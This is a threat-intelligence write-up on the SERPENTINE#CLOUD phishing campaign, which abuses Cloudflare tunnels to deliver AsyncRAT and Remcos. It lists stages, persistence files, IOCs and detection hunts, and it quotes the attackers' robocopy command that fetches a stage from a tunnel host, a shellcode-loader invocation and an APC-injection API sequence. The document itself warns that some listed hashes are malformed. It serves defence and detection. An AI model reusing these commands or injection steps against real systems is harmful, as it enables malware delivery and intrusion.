Summary

SERPENTINE#CLOUD is an active, multi-wave phishing campaign (observed since at least November 2025, targeting the US, UK, Germany, and broader Europe/Asia) that abuses Cloudflare’s free trycloudflare.com tunnel service as a disposable, trusted-infrastructure delivery layer. A five-stage chain (LNK → WSF → obfuscated BAT → Kramer-obfuscated Python → Donut-packed shellcode) culminates in in-memory delivery of commodity RATs (AsyncRAT, Remcos) via Early Bird APC process injection, with no payload ever written to disk in its final form.

File Paths & Artifacts

Windows

%TEMP%\tank.wsf                                                          # Stage 2 WSF, robocopied from WebDAV tunnel
C:\Users\<user>\Contacts\Extracted                                       # Staging directory
C:\Users\<user>\Contacts\Print                                           # Staging directory
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pws1.vbs        # Persistence — anti-idle keepalive
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PWS.vbs          # Persistence — restarts full infection chain
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startuppp.bat    # Persistence — conditional relaunch wrapper

Key File Breakdown

File / ArtifactPurpose
RE_05FSKBSAXZ25A.pdf.lnk, Bell-Invoice.pdf.lnk (and similar)Stage 1 lure — LNK masquerading as a PDF via custom icon, hidden extension; invoice/payment-themed social engineering
tank.wsf / jenk.wsf / kin.wsfStage 2 — lightweight VBScript loader that pulls the next-stage batch file from a second trycloudflare.com subdomain
kiki.batStage 3 — UTF-16LE-encoded, variable-substitution-obfuscated batch script; the workhorse of the chain (AV check, PDF decoy, payload download, Python execution, persistence drop, cleanup)
run.py + Jun02_*.py / Wsandy*.py / Okwan*.pyStage 4 — Kramer-obfuscated Python shellcode loader; branches between Wsandy* (normal) and Okwan* (if AV detected) payload sets
a.txtXOR decryption key file for shellcode
pws1.vbsPersistence — infinite SendKeys "+" loop to prevent idle/lock/sleep, keeping the beacon alive
PWS.vbsPersistence — identical to kiki.bat, re-triggers the full chain on login
startuppp.batPersistence — checks useRFiles env var (AV-detected flag) to branch to the correct payload set, then re-runs run.py

Tools & Techniques

Tool / CommandUsage
robocopy over WebDAVcmd.exe /c robocopy "\\[subdomain].trycloudflare[.]com@SSL\DavWWWRoot\..." %temp% tank.wsf /ns /nc /nfl /ndl — pulls Stage 2 over HTTPS WebDAV from the Cloudflare tunnel
cscript.exe //nologoExecutes the WSF loader in minimized, silent mode
Variable-substitution + UTF-16LE encodingkiki.bat obfuscation — appears as gibberish in standard text editors; characters pulled from an encoded lookup string (e.g. set "Ü= 1EZym@VCjkvHNhuwPRboMOd3qnLxFelUKQs9ac5rI04YAz6iGBStX8pf2JT7gWD")
tasklist AV checkChecks for AvastUI.exe / avgui.exe before selecting payload branch
Kramer (Python obfuscator)Multi-layer: alphanumeric shift via _ekyrie mapping, bytewise shift with brute-forceable key (range 3–1,000,000), newline replacement, hex line encoding
Early Bird APC InjectionCreateProcessA (CREATE_SUSPENDED, target notepad.exe) → VirtualAllocEx → WriteProcessMemory → QueueUserAPC → ResumeThread → WaitForSingleObject — shellcode runs before the target process’s own entry point / userland hooks activate
Donut (github.com/TheWover/donut)Generates position-independent shellcode for in-memory PE/assembly loading — no final payload touches disk
python.exe run.py -i jun02_an.bin -k a.txtFinal shellcode-loader invocation

Attack Prerequisites

  • Minimum access required: User interaction only — victim must open a phishing ZIP attachment and double-click the disguised LNK. No elevated privileges required for the base infection chain (persistence writes to the user’s own Startup folder, not a system-wide location)
  • Achievability: Campaign has evolved through three phases (.url → unobfuscated .bat → obfuscated .lnk) since inception, indicating active operator refinement against detection; Cloudflare’s free-tier tunnel infrastructure requires no registration cost or VPS rental, and trycloudflare.com subdomains are commonly allowlisted or simply unmonitored by organizations, lowering delivery-layer barriers significantly

Why Cloudflare Tunnels

  • Eliminates the need to register attacker-owned domains or rent dedicated VPS infrastructure, reducing attribution surface
  • Cloudflare CDN fronting provides legitimate TLS certificates, blending malicious traffic with ordinary HTTPS
  • HTTPS encryption circumvents deep packet inspection and some NIDS/NIPS signature matching
  • trycloudflare.com subdomains are frequently allowlisted by organizations that use Cloudflare Tunnel legitimately, or simply overlooked because the base domain is reputationally “clean”
  • Subdomains are randomly generated per-tunnel ([word]-[word]-[word]-[word].trycloudflare.com) and rotate — daily infrastructure rotation observed by independent researchers tracking the campaign

Detection Opportunities

  • .lnk files with hidden extensions masquerading as PDFs, especially from ZIP attachments with invoice/payment-themed names → Hunt - TryCloudflare Tunnel Abuse for RAT Delivery
  • cmd.exe → robocopy → WebDAV connections to *.trycloudflare[.]com@SSL\DavWWWRoot\*
  • cscript.exe executing .wsf files from %TEMP% with remote UNC-style source paths
  • python.exe executing from user-profile directories rather than a standard Python install path
  • A suspended process (commonly notepad.exe) initiating outbound network connections shortly after creation — signature of Early Bird APC injection
  • New .vbs/.bat files written to the Startup folder

IOCs

File Hashes (SHA256, selected)

FilenameSHA256
kiki.batAC6EB3435CEC6058FFEA590AC51507B3313A74EA07893B984F2D87BE12E17027
run.py4D2FCCAD69BB02305948814F1AA6EF76C85423EB780EC5F3751B7FFBF8B74CA3C
RE_05FSKBSAXZ25A.pdf.lnk715CEF51FFCFAEC05A080A0E0DB4D88BB5123E2ADE4A1C72FD8C10F412310C1D
startuppp.bat850FB460F68AB1B5810F96DB1FF16954CD1B590B921968FCBC3203135B40ACC0
Jun02_an.bin (shellcode)821F0956D3F52819C90035041C0F4C0EC644924AF46222C5913E05DE1C385B04

Note: hash lengths as published by Securonix appear longer than standard SHA256 in several entries — verify against the original report before using in blocking rules.

C2 Infrastructure

  • Beacon IP: 51.89.212[.]145 (ip145.ip-51-89-212[.]eu), port 7878
  • Secondary domains: nhvncpure[.]shop, nhvncpure[.]sbs, nhvncpure[.]click, twilightparadox[.]com, strangled[.]net, mooo[.]com
  • Dynamic DNS: nhvncpurekfl.duckdns[.]org, ncmomenthv.duckdns[.]org, hvncmomentpure.duckdns[.]org
  • Delivery tunnels (rotate frequently — treat as examples, not durable IOCs): flour-riding-merit-refers.trycloudflare[.]com, depot-arrange-zero-kai.trycloudflare[.]com

Threat Actor Attribution

No named attribution. Securonix notes code comments suggesting a fluent/native English speaker, and stylistic patterns (unusually “friendly” status-update echo commands, comment phrasing) consistent with LLM-assisted malware development rather than traditional handwritten tooling. Targeting skews toward Western organizations (US, UK, Germany confirmed; broader Europe/Asia secondary).

Vendor Response

No patch applicable — this abuses Cloudflare’s legitimate free tunnel product, not a vulnerability. Securonix’s recommendation (and the vault’s own recommendation) is organizational: block or tightly monitor trycloudflare.com egress where the tunnel service is not a legitimate business requirement.

References